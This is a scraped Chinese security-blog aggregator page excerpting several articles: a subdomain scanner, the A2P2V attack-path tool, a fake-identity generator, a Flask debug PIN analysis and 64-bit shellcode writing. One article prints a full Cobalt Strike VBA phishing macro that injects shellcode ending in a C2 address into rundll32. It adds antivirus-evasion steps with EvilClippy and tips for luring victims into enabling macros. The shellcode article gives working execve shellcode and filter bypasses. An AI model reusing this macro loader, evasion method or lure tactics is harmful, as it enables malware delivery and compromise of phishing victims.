pdf._getXrefLength()for i in range(lenXREF):    text = pdf._getXrefString(i)    isImage = re.search(checkImg, text)    if isImage:        page_lst.append(i)print(page_lst)pdf_reader = PdfFileReader(path + r'公司年报.PDF')for page in page_lst:    pdf_writer = PdfFileWriter()    pdf_writer.addPage(pdf_reader.getPage(page))    with open(path + r'公司年报_{}.pdf'.format(page + 1), 'wb') as out:        pdf_writer.write(out)实现这两个单个需求后,就可以将相关代码封装并结合os等模块实现批量操作,解放双手。-END-推荐↓↓↓ 本文始发于微信公众号(Python编程):实用脚本!Python 提取 PDF 指定内容生成新文件!
阅读全文
开源项目 | SubDReporter - 子域名报告生成工具 安全工具

开源项目 | SubDReporter - 子域名报告生成工具

SubDReporterSubDReporter 介绍SubDReporter是一款子域名报告生成工具;其功能一共有两个:1.子域名发现 2.子域名报告,子域名发现功能包含了子域名报告功能。语言:Python3所需Python3的库:selenium、requests、beautifulsoup4、lxml优点:SubDReporter支持多线程、跨平台(Linux、Windows、Mac)缺点:占用大、小几率漏报SubDReporter 目录结构:子域名发现功能流程调用程序所写接口查询功能获取相关子域名并去重生成结果;对子域名进行IP转换(获取出解析到内网的子域名),最后对解析后的IP进行端口扫描并生成127.0.0.1:80(127.0.0.1开启了80端口)这样的结果;对端口扫描的结果进行网址(URL)的生成,其生成的格式是(127.0.0.1:80->http://127.0.0.1 、 127.0.0.1:443->https://127.0.0.1 、 127.0.0.1:8080->http://127.0.0.1:8080 && https://127.0.0.1:8080)对生成的URL进行请求,超出设定的延时时间以及访问出错的URL视其为无效URL即保留有效URL和保存其响应报文;对有效URL结果进行访问(使用phantomjs或chromedriver)截图;生成HTML报告。子域名报告功能流程除了没有子域名发现功能的第一个流程以外其他都与子域名发现功能流程一样。子域名发现接口配置/SubDRepoter/lib/domains.py文件内修改virustotal、findsubdomains、securitytrails函数的key值才可以正常使用(需要自我申请)SubDReporter 使用方法举例说明SubDReporter的参数:-m 模式:该选项有两个(Scanner模式:s Reporter模式:r) e.g. -m s-i 目标:根据扫描模式选择,如果为Scanner模式则为一个域名;反之则为一个存储了域名的文本文件。-t 线程-p 端口:逗号分隔端口(80,8080,443,8081,8088)-b 浏览器:这个主要用来做截图的(phantomjs:p、chromedriver:c) e.g. -b c实际使用:需求:对目标qianxin.com使用子域名发现功能,线程为10,扫描端口为80,443,8080,8081,使用的截图浏览器为chromedriver使用:python3 main.py -m s -i qianxin.com -t 10 -p 80,443,8080,8081 -b c需求: 对1.txt内的IP、域名【注:非URL!】使用子域名报告功能,线程为10,扫描端口为80,443,8080,8081,使用的截图浏览器为phantomjs使用:python3 main.py -m r -i 1.txt -t 10 -p 80,443,8080,8081 -b pSubDReporter 结果SubDReporter运行结束后会在运行目录下生成subdscan目录,在subdscan目录中会有目标目录,进入目标目录会有三个文件目录(如果发现有解析到内网IP的域名则会有第四个文件):打开HTML报告展示的结果是这样的(参考Aquatone):URL、响应状态码、网页截图、Details(响应报文)、Visit(打开URL)演示视频如下: END项目地址:https://github.com/gh0stkey/SubDRepoter感谢项目aquatone,感谢参与开发和测试成员:香瓜(Meloner)如有使用问题和意见之类的可发邮件到[email protected]或者微信找我,使用愉快~😁 本文始发于微信公众号(米斯特安全团队):开源项目 | SubDReporter - 子域名报告生成工具
阅读全文
使用A2P2V针对特定目标生成攻击序列 安全新闻

使用A2P2V针对特定目标生成攻击序列

关于A2P2VA2P2V,全称为Automated Attack Path Planning and Validation,即自动化攻击路径计划和验证,它是一个计划工具,也是一个网络公祭工具,可以帮助广大研究人员在给定特定攻击者目标的情况下确定一组排序攻击序列。该工具的目的是简化流程,以便非专业人士能够使用尽可能多地自动化实现任务,并生成易于理解的安全报告。A2P2V使用已知的网络拓扑和系统漏洞信息来确定所有攻击序列集,以实现攻击者的目标,并为选定的序列输出所需的步骤(Metasploit命令)。需要输入系统的数据包括:初始条件:攻击者当前所获取到的所有信息进行建模。攻击者的目标:指示状态变化(如ICS系统上的温度变化)或对特定目标主机的远程访问。漏洞信息:Nessus或Nmap扫描结果或数据自定义(CVS)输入格式。网络拓扑:描述主机信息和网络连接的自定义XML格式。功能详细信息:一种自定义XML格式,描述一组已知服务和使用PAP(前置条件、操作和后置条件)模型指定的漏洞利用。工具要求A2P2V的运行需要下列组件(其余的均包含在requirements.txt文件中):Python >= 3.6Metasploit RPC守护进程(使用55552端口,用户名为msf,密码为welcome1)Python-tk在Ubuntu中安装python-tk:sudo apt install python3.9-tk运行Metasploit RPC守护进程:msfrpcd -P welcome1 -S -U msf -a 127.0.0.1 -f -p 55552工具安装我们建议广大用户在虚拟环境中安装和使用A2P2V。创建一个虚拟环境目录venvs:mkdir $HOME/.venvs/创建一个虚拟环境:python3 -m venv .venvs/a2p2v激活虚拟环境:source .venvs/a2p2v/bin/activate工具安装:cd a2p2v/pip install .加载功能定义工具首次运行时,需要导入功能性定义。比如说,加载预置的默认功能定义文件:a2p2v --importdb lab_config/capabilities.xml工具使用-计划模式我们可以使用下列命令行参数以计划模式运行该系统:$ a2p2v --plan此时,我们将会看到下列选项:TREE#|SCORE|HOPS                                              |FINAL CAPABILITY OPTIONS                          |GOALS-----|-----|--------------------------------------------------|--------------------------------------------------|---------------    0| 6.17|GW(1)>HMI(4)>OPC(4)>PLC(1)                        |auxiliary/scanner/scada/modbusclient              |change_temp-----|-----|--------------------------------------------------|--------------------------------------------------|---------------    1| 6.17|GW(1)>HMI(4)>USER2(4)>PLC(1)                      |auxiliary/scanner/scada/modbusclient              |change_temp---------------------------------------------------------------------------------------------------------------------------------Select an attack tree to execute (or any other value to exit):详细报告和对应的攻击序列树将会存储在reports/目录下。工具使用:单目标主机该工具还可以针对单个目标主机运行:a2p2v --target USER1此时将会列出可选的漏洞利用模块:TREE#|SCORE|CAPABILITY-----|-----|--------------------------------------------------    0|  8.4|exploit/windows/smb/ms17_010_eternalblue-----|-----|--------------------------------------------------    1|  8.4|exploit/windows/smb/ms17_010_psexec-----|-----|--------------------------------------------------    2|  8.4|exploit/windows/smb/ms10_061_spoolss-----|-----|--------------------------------------------------    3|  8.2|exploit/windows/rdp/cve_2019_0708_bluekeep_rce----------------------------------------------------------------Select a capability to execute, 'a' for all, or any other value to skip: a生成的报告可以在相对应的系统用例下找到。项目地址A2P2V:https://github.com/pentest-a2p2v/pentest-a2p2v-core 本文始发于微信公众号(盾山实验室):使用A2P2V针对特定目标生成攻击序列
阅读全文
生成树--STP 安全开发

生成树--STP

包含两个文档,STP原理和具体选举。链接:https://pan.baidu.com/s/1clQu60a2hNLbLldE_VLDOw 提取码:u0l4 老铁们,这里有干货!喜欢记得来一个 本文始发于微信公众号(工程师江湖):生成树--STP
阅读全文
开源项目 | RGPerson - 随机身份生成脚本 安全工具

开源项目 | RGPerson - 随机身份生成脚本

RGPerson项目地址:https://github.com/gh0stkey/RGPersonRGPerson - 随机身份生成环境:python3使用方法:python3 RGPerson.py为什么需要Ta相信很多师傅们在做测试的时候经常遇到一些注册的业务功能,要填写的东西很多,我一般都是临时去百度用的信息,这样很繁琐所以决定造轮子撸了个随机身份生成的。介绍该脚本生成信息:姓名年龄性别身份证手机号组织机构代码统一社会信用代码脚本编写原理脚本的函数: genMobile()、genIdCard()、genName()、genOrgCode()、genCreditCode()genMobile() 为随机生成手机号的函数genName() 为随机生成姓名的函数genIdCard() 为随机生成身份证的函数genOrgCode() 为随机生成组织机构代码的函数genCreditCode() 为随机生成统一社会信用代码的函数genMobile()随机生成手机号:需要知道国内手机号的构成1.长度为十一位2.前三位表示运营商现在我们只需要做到收集手机号号段的前三位以及对应的运营商:prelist = {"133":"电信","149":"电信","153":"电信","173":"电信","177":"电信","180":"电信","181":"电信","189":"电信","199":"电信","130":"联通","131":"联通","132":"联通","145":"联通","155":"联通","156":"联通","166":"联通","171":"联通","175":"联通","176":"联通","185":"联通","186":"联通","166":"联通","134":"移动","135":"移动","136":"移动","137":"移动","138":"移动","139":"移动","147":"移动","150":"移动","151":"移动","152":"移动","157":"移动","158":"移动","159":"移动","172":"移动","178":"移动","182":"移动","183":"移动","184":"移动","187":"移动","188":"移动","198":"移动"}获取该数组的长度:len(prelist) -> 42随机生成下标获取三位数:prelist.keys()然后再随机填补后8位即可:def genMobile():    prelist = {"133":"电信","149":"电信","153":"电信","173":"电信","177":"电信","180":"电信","181":"电信","189":"电信","199":"电信","130":"联通","131":"联通","132":"联通","145":"联通","155":"联通","156":"联通","166":"联通","171":"联通","175":"联通","176":"联通","185":"联通","186":"联通","166":"联通","134":"移动","135":"移动","136":"移动","137":"移动","138":"移动","139":"移动","147":"移动","150":"移动","151":"移动","152":"移动","157":"移动","158":"移动","159":"移动","172":"移动","178":"移动","182":"移动","183":"移动","184":"移动","187":"移动","188":"移动","198":"移动"}    three = list(prelist.keys())    mobile = three + "".join(random.choice("0123456789") for i in range(8))    op = prelist    return {mobile:op}genName()随机生成姓名:中文名字通常为2、3位汉字组成1.收集常用的姓氏随机取其一个:def first_name():    first_name_list =    n = random.randint(0, len(first_name_list) - 1)    f_name = first_name_list    return f_name2.这里一开始想搜罗常用的名字,但参考了其他师傅的代码发现随机生成中文字符更好一点:def GBK2312():    head = random.randint(0xb0, 0xf7)    body = random.randint(0xa1, 0xf9)    val = f'{head:x}{body:x}'    st = bytes.fromhex(val).decode('gb2312')    return st3.随机生成名字的第二个字:(这里用一个list做一个空值,随机取生成的汉字或空值,用于成为随机生成2位名字或3位名字)def second_name():    second_name_list =    n = random.randint(0, 1)    s_name = second_name_list    return s_name4.随机生成名字的最后一个字:(用于满足三个汉字的名字)def last_name():    return GBK2312()5.拼接def...
阅读全文
自动化免杀钓鱼文档生成工具 安全工具

自动化免杀钓鱼文档生成工具

文如其题,工具地址:https://github.com/lengjibo/OffenSiveCSharp/tree/master/xlsmfishing目前仅支持xlsm格式,VT爆毒十个左右。视频演示地址:https://www.bilibili.com/video/BV15v41187jw或点击原文链接观看星球营造良好的技术交流氛围,一直秉承着有问有答才是真正的技术交流,如果你喜欢分享,喜欢学习,那么请加入我们吧老哥们纷纷放出大招,牛逼class欢迎加入我们,学习技术,分享技术,解决难题     ▼更多精彩推荐,请关注我们▼ 本文始发于微信公众号(鸿鹄实验室):自动化免杀钓鱼文档生成工具
阅读全文
CS钓鱼文档宏病毒免杀初探 安全闲碎

CS钓鱼文档宏病毒免杀初探

目录简单的恶意文档cs生成的宏分析免杀思路加密混淆诱导点击项目推荐总结简单的恶意文档一般使用流程:第一步,生成payload第二步,新建word,打开选项-自定义功能区-勾选开发工具第三步,然后输入诱惑性内容,点击VB,把cs生成的vba代码放进去即可。第四步,保存为word97-2003文档,注意修改作者随后如果点击了启用宏,就会上线cs生成的宏分析这里注意一下vba和vbs还是有区别的代码中最主要的部分是#If VBA7 Then    Private Declare PtrSafe Function CreateStuff Lib "kernel32" Alias "CreateRemoteThread" (ByVal hProcess As Long, ByVal lpThreadAttributes As Long, ByVal dwStackSize As Long, ByVal lpStartAddress As LongPtr, lpParameter As Long, ByVal dwCreationFlags As Long, lpThreadID As Long) As LongPtr    Private Declare PtrSafe Function AllocStuff Lib "kernel32" Alias "VirtualAllocEx" (ByVal hProcess As Long, ByVal lpAddr As Long, ByVal lSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As LongPtr    Private Declare PtrSafe Function WriteStuff Lib "kernel32" Alias "WriteProcessMemory" (ByVal hProcess As Long, ByVal lDest As LongPtr, ByRef Source As Any, ByVal Length As Long, ByVal LengthWrote As LongPtr) As LongPtr    Private Declare PtrSafe Function RunStuff Lib "kernel32" Alias "CreateProcessA" (ByVal lpApplicationName As String, ByVal lpCommandLine As String, lpProcessAttributes As Any, lpThreadAttributes As Any, ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, lpEnvironment As Any, ByVal lpCurrentDirectory As String, lpStartupInfo As STARTUPINFO, lpProcessInformation As PROCESS_INFORMATION) As Long#Else    Private Declare Function CreateStuff Lib "kernel32" Alias "CreateRemoteThread" (ByVal hProcess As Long, ByVal lpThreadAttributes As Long, ByVal dwStackSize As Long, ByVal lpStartAddress As Long, lpParameter As Long, ByVal dwCreationFlags As Long, lpThreadID As Long) As Long    Private Declare Function AllocStuff Lib "kernel32" Alias "VirtualAllocEx" (ByVal hProcess As Long, ByVal lpAddr As Long, ByVal lSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As Long    Private Declare Function WriteStuff Lib "kernel32" Alias "WriteProcessMemory" (ByVal hProcess As Long, ByVal lDest As Long, ByRef Source As Any, ByVal Length As Long, ByVal LengthWrote As Long) As Long    Private Declare Function RunStuff Lib "kernel32" Alias "CreateProcessA" (ByVal lpApplicationName As String, ByVal lpCommandLine As String, lpProcessAttributes As Any, lpThreadAttributes As Any, ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, lpEnvironment As Any, ByVal lpCurrentDriectory As String, lpStartupInfo As STARTUPINFO, lpProcessInformation As PROCESS_INFORMATION) As Long#End IfVBA 最强大的功能之一是可以从Windows API导入函数,上面这段主要导入了以下4个函数CreateRemoteThread(线程创建)VirtualAllocEx(内存分配)WriteProcessMemory(写进程内存)CreateProcessA(进程创建)其次就是这个auto_open函数了Sub Auto_Open()    Dim myByte As Long, myArray As Variant, offset As Long    Dim pInfo As PROCESS_INFORMATION    Dim sInfo As STARTUPINFO    Dim sNull As String    Dim sProc As String#If VBA7 Then    Dim rwxpage As LongPtr, res As LongPtr#Else    Dim rwxpage As Long, res As Long#End If    myArray = Array(-4,-24,-119,0,0,0,96,-119,-27,49,-46,100,-117,82,48,-117,82,12,-117,82,20,-117,114,40,15,-73,74,38,49,-1,49,-64,-84,60,97,124,2,44,32,-63,-49, _13,1,-57,-30,-16,82,87,-117,82,16,-117,66,60,1,-48,-117,64,120,-123,-64,116,74,1,-48,80,-117,72,24,-117,88,32,1,-45,-29,60,73,-117,52,-117,1, _-42,49,-1,49,-64,-84,-63,-49,13,1,-57,56,-32,117,-12,3,125,-8,59,125,36,117,-30,88,-117,88,36,1,-45,102,-117,12,75,-117,88,28,1,-45,-117,4, _-117,1,-48,-119,68,36,36,91,91,97,89,90,81,-1,-32,88,95,90,-117,18,-21,-122,93,104,110,101,116,0,104,119,105,110,105,84,104,76,119,38,7,-1, _-43,-24,0,0,0,0,49,-1,87,87,87,87,87,104,58,86,121,-89,-1,-43,-23,-92,0,0,0,91,49,-55,81,81,106,3,81,81,104,15,39,0,0,83, _80,104,87,-119,-97,-58,-1,-43,80,-23,-116,0,0,0,91,49,-46,82,104,0,50,-64,-124,82,82,82,83,82,80,104,-21,85,46,59,-1,-43,-119,-58,-125,-61, _80,104,-128,51,0,0,-119,-32,106,4,80,106,31,86,104,117,70,-98,-122,-1,-43,95,49,-1,87,87,106,-1,83,86,104,45,6,24,123,-1,-43,-123,-64,15, _-124,-54,1,0,0,49,-1,-123,-10,116,4,-119,-7,-21,9,104,-86,-59,-30,93,-1,-43,-119,-63,104,69,33,94,49,-1,-43,49,-1,87,106,7,81,86,80,104, _-73,87,-32,11,-1,-43,-65,0,47,0,0,57,-57,117,7,88,80,-23,123,-1,-1,-1,49,-1,-23,-111,1,0,0,-23,-55,1,0,0,-24,111,-1,-1,-1,47, _66,121,111,50,0,53,79,33,80,37,64,65,80,91,52,92,80,90,88,53,52,40,80,94,41,55,67,67,41,55,125,36,69,73,67,65,82,45,83,84, _65,78,68,65,82,68,45,65,78,84,73,86,73,82,85,83,45,84,69,83,84,45,70,73,76,69,33,36,72,43,72,42,0,53,79,33,80,37,0,85, _115,101,114,45,65,103,101,110,116,58,32,77,111,122,105,108,108,97,47,53,46,48,32,40,99,111,109,112,97,116,105,98,108,101,59,32,77,83,73,69, _32,57,46,48,59,32,87,105,110,100,111,119,115,32,78,84,32,54,46,49,59,32,87,79,87,54,52,59,32,84,114,105,100,101,110,116,47,53,46,48, _59,32,78,80,48,57,59,32,78,80,48,57,59,32,77,65,65,85,41,13,10,0,53,79,33,80,37,64,65,80,91,52,92,80,90,88,53,52,40,80, _94,41,55,67,67,41,55,125,36,69,73,67,65,82,45,83,84,65,78,68,65,82,68,45,65,78,84,73,86,73,82,85,83,45,84,69,83,84,45,70, _73,76,69,33,36,72,43,72,42,0,53,79,33,80,37,64,65,80,91,52,92,80,90,88,53,52,40,80,94,41,55,67,67,41,55,125,36,69,73,67, _65,82,45,83,84,65,78,68,65,82,68,45,65,78,84,73,86,73,82,85,83,45,84,69,83,84,45,70,73,76,69,33,36,72,43,72,42,0,53,79, _33,80,37,64,65,80,91,52,92,80,90,88,53,52,40,80,94,41,55,67,67,41,55,125,36,69,73,67,65,82,45,83,84,65,78,68,65,82,68,45, _65,78,84,73,86,73,82,85,83,45,84,69,83,84,45,70,73,76,69,33,36,72,0,104,-16,-75,-94,86,-1,-43,106,64,104,0,16,0,0,104,0,0, _64,0,87,104,88,-92,83,-27,-1,-43,-109,-71,0,0,0,0,1,-39,81,83,-119,-25,87,104,0,32,0,0,83,86,104,18,-106,-119,-30,-1,-43,-123,-64,116, _-58,-117,7,1,-61,-123,-64,117,-27,88,-61,-24,-119,-3,-1,-1,56,49,46,54,56,46,50,50,49,46,50,50,0,0,0,0,0)    If Len(Environ("ProgramW6432")) > 0 Then        sProc = Environ("windir") & "\SysWOW64\rundll32.exe"    Else        sProc = Environ("windir") & "\System32\rundll32.exe"    End If    res = RunStuff(sNull, sProc, ByVal 0&, ByVal 0&, ByVal 1&, ByVal 4&, ByVal 0&, sNull, sInfo, pInfo)    rwxpage = AllocStuff(pInfo.hProcess, 0, UBound(myArray), &H1000, &H40)    For offset = LBound(myArray) To UBound(myArray)        myByte = myArray(offset)        res = WriteStuff(pInfo.hProcess, rwxpage + offset, myByte, 1, ByVal 0&)    Next offset    res = CreateStuff(pInfo.hProcess, 0, 0, rwxpage, 0, 0, 0)End Sub这段内容就调用函数往内存里写shellcode了。免杀思路现在简单整理一下免杀的思路远程调用启用宏模板对vba脚本进行编码混淆vba写hta、vbs脚本、写注册表等手段来绕过文档加密加密混淆上面的远程调用,vba执行powershell等方式网上文章还挺多的,是否失效还有待测试。这里对自己之前没试过的vba脚本加密混淆做了一些尝试。拿着生成后的vba脚本静态查杀下,发现火绒静态查杀的时候是查杀这些关键函数和一些组合在尝试了一些网上的加密工具后发现,工具不能对vba脚本中的函数导入进行混淆加密,因为大部分都是VB7环境,条件编译部分的判断可以删掉,修修改改发现老报错。还是现成的工具实在,这里使用Evil Clippy这个工具。该工具提供了隐藏宏,混淆宏等绕过AV的检查技术。这里我主要用了重置随机化模块名称的功能(Set/reset random module names (fool analyst tools))和滥用P-code(Stomp VBA abuse P-code)的方式下载后在kali中安装mono。装完后使用mcs /reference:OpenMcdf.dll,System.IO.Compression.FileSystem.dll /out:EvilClippy.exe *.cs进行编译。为啥不在windows下的visual studio 编译呢,因为编译会有问题,详见github issues。最后发现使用工具-r会被杀掉,使用-s(滥用P-code)可以绕过。诱导点击有了文档后,还是需要诱导用户进行点击启用宏,这个尽量还是根据目标对象进行针对性诱导。例如将文档正文部分隐藏,然后提前录制好宏,点击启用宏后自动执行然后显示内容,或者输出一些内容等。或者在文档最上方插入图片,此文档受宏保护,需启用宏。项目推荐写文章在查找资料时发现了一些有意思的项目vbs调PE执行命令  https://github.com/itm4n/VBA-RunPE   vbs加载powershell免杀  https://github.com/PDWR/3vilMacro   编译后的EvilClippy  https://github.com/Cl0udG0d/EvilClippy总结宏免杀使用工具虽然方便,但局限性很大,我们可以学习工具的思路或者修改底层的VBA代码,结合不同的利用姿势,从而达到更强免杀效果。前路漫长,大家一起努力! 本文始发于微信公众号(雷石安全实验室):CS钓鱼文档宏病毒免杀初探
阅读全文
实战填坑 | CS使用CDN隐藏C2 安全文章

实战填坑 | CS使用CDN隐藏C2

CS的基础用法、修改端口、密码的教程网上很多,此处不再赘述。但在搭建域名+CDN隐藏版c2时楼主遇到了不少的坑,在这里顺着搭建的思路慢慢把踩的坑填上。1.CS证书特征配置Cobalt Strike是一款美国Red Team开发的渗透测试神器,常被业界人称为CS。1.1去除证书特征:基于keytool生成自签证书用JDK自带的keytool证书工具即可生成新证书:keytool命令: -certreq 生成证书请求 -changealias 更改条目的别名 -delete 删除条目 -exportcert 导出证书 -genkeypair 生成密钥对 -genseckey 生成密钥 -gencert 根据证书请求生成证书 -importcert 导入证书或证书链 -importpass 导入口令 -importkeystore 从其他密钥库导入一个或所有条目 -keypasswd 更改条目的密钥口令 -list 列出密钥库中的条目 -printcert 打印证书内容 -printcertreq 打印证书请求的内容 -printcrl 打印 CRL 文件的内容 -storepasswd 更改密钥库的存储口令例如:国内baidukeytool -keystore cobaltStrike.store -storepass 123456 -keypass 123456 -genkey -keyalg RSA -alias baidu.com -dname "CN=ZhongGuo, OU=CC, O=CCSEC, L=BeiJing, ST=ChaoYang, C=CN"国外gmail:keytool -keystore cobaltstrike.store -storepass 123456 -keypass 123456 -genkey -keyalg RSA -alias gmail.com -dname "CN=gmail.com, OU=Google Mail, O=Google GMail, L=Mountain View, ST=CA, C=US"(Windows版也可使用java安装目录下自带工具<JAVA_HOME>binkeytool.exe)然后使用keytool工具可查看生成的证书:keytool -list -v -keystore cobaltstrike.store其中的坑:要么生成cobaltstrike.store替换默认位置对应文件,要么在teamserver启动文件中指定,例如生成baidu.store,就要修改teamserver为:1.2去除证书特征:基于openssl生成域名证书这里有两个思路,一是申请域名后使用certbot生成对应证书;二是申请域名后修改ns记录,由托管服务商签发。这里都需要申请域名,可百度freenom申请域名的教程(楼主申请失败了,无法接收邮件,使用插件也不行,所以算是一个坑)。填坑方式:推荐 https://www.namesilo.com,申请个冷门的也并不贵,才几块钱就可以用一年,还可微信支付。证书签发思路一certbot:假如你申请域名为:+++.tk,那么在 vps 上安装 certbot ,然后生成证书:certbot certonly -d +++.tk -d *.+++.tk --manual --preferred-challenges dns --server https://acme-v02.api.letsencrypt.org/directory需要你在ns服务商处添加两条txt记录。以namesilo为例选择txt记录插入即可。freenome一样道理,而后会让你插入第二条,确认后等待一会,生效后回车确认,即可在当前目录生成域名证书:这里的坑:两次添加txt记录后需要等待一点时间才能解析成功,可另外开启bash使用dig命令:dig -t txt _acme-challenge.+++.tk @8.8.8.8测试是否成功,成功获取txt内容再在certbot点击回车,没有dig可使用yum install...
阅读全文
Flask debug 模式下的 PIN 码安全性分析 安全闲碎

Flask debug 模式下的 PIN 码安全性分析

本文首发于先知社区,点击原文链接可查看原文一、概述        Flask 在生产环境中开启 debug 模式,输入正确的 PIN 码,就会产生一个交互的 shell ,可以执行自定义的 python 代码。        在同一台机器上,多次重启 Flask 服务,PIN 码值不改变,也就是说 PIN 码不是随机生成的,有一定的生成方法可循。接下来,我们来具体地分析一下 PIN 码的生成流程。本文章的分析都是基于 python2.7 的。二、PIN码生成流程分析         本次调试环境:python2.7window10flask1.1.2        这里就使用 pycharm 进行调试。示例代码如下,在 app.run 设置断点按 F7 进入 Flask 类的 run 方法 ,位置python2.7Libsite-packagesflaskapp.py(889~995),这里都是一些变量的加载,不用理会,多次按 F8 直到 run_simple() 函数调用。按 F7 进入 run_simple(),位置python2.7Libsite-packageswerkzeugserving.py(876~971),这里判断了是否使用 debug 调试,有的话就调用 DebuggedApplication 类按 F7 进入,位置 python2.7Libsite-packageswerkzeugdebug__init__.py(220~498),从DebuggedApplication 的 __init__ 初始化操作中,有一个判断,如果启用 PIN,及 self.pin 存在值,就会通过 _log() 函数,将 PIN 码打印到出来。ctrl+鼠标左击进入 self.pin,这里使用了 @property 装饰器, @property 就是负责把一个方法变成属性调用的,方便定义属性的 get 和 set 方法。可以看到调用了 get_pin_and_name() 对 PIN 进行赋值。ctrl+鼠标左击进入 get_pin_and_name(),位置 python2.7Libsite-packageswerkzeugdebug__init__.py(137~217),这里就是生成PIN码的重点代码def get_pin_and_cookie_name(app): """Given an application object this returns a semi-stable 9 digit pin code and a random key. The hope is that this is stable between restarts to not make debugging particularly frustrating. If the pin was forcefully disabled this returns `None`. Second item in the resulting tuple is the cookie name for remembering....
阅读全文
64位shellcode编写姿势 SecIN安全技术社区

64位shellcode编写姿势

前言 目前网上主要是各种32位的shellcode编写教程,64位的比较少,这篇文章主要讲解一下64位shellcode的编写以及介绍几种比较常见的白名单绕过方法 64位shellcode编写 直接pwntools生成默认shellcode 这一种方法是最简单的,通过下面的代码即可生成一段64位shellcode代码: python from pwn import * context.arch = 'amd64' shellcode = asm(shellcraft.sh()) 但这段代码有一个缺点,就是生成的shellcode比较长,在某些空间比较小的情况不能很好的使用,接下来我们就一步一步的学习手动编写shellcode吧。 手动编写shellcode 在手动编写shellcode之前,我们首先要知道shellcode这一段代码调动shell的原理。 linux中,存在着一系列的系统调用,这些系统调用都通过syscall指令来触发,并且通过rax寄存器作为系统调用号来区分不同的系统调用,可以通过查看linux源码目录下的arch/x86/entry/syscall_64.tbl获得对应的系统调用号。比如,execve对应的的系统调用号为59。 接着,即是通过rdi和rsi两个寄存器传入参数。其中,rdi是指向运行程序的路径的指针,rsi为一个指向0的指针,rdx为0。 总结下,我们应该完成如下操作: rax = 59 rdi = rsi = rdx = 0 syscall 所以就可以编写我们就可以开始正式编写了: asm xor rdx,rdx push rdx mov rsi,rsp mov rax,0x68732f2f6e69622f push rax mov rdi,rsp mov rax,59 syscall (这里因为64位数据不能直接push,所以用了rax寄存器来传递) 编写完后,我们可以用pwntools模块来快速编译使用: python from pwn import * context.arch = 'amd64' shellcode = ''' xor rdx,rdx; push rdx; mov rsi,rsp; mov rax,0x68732f2f6e69622f; push rax; mov rdi,rsp; mov rax,59; syscall; ''' shellcode = asm(shellcode) 这样生成的shellcode就只有30字节,一般这种大小就足够了。 白名单绕过 可打印ascii 这一种的限制一般是要求shellcode为可打印字符,包括字母、数字、符号。 针对这一种白名单,已经有了一个不错的工具:shellcode_encoder 使用这一工具首先需要安装z3-solver: bash $ pip install z3-solver 开始生成可打印shellcode前,我们需要先将原来的shellcode输出到一个文件中,这里我们用python来执行: python from pwn import * context.arch...
阅读全文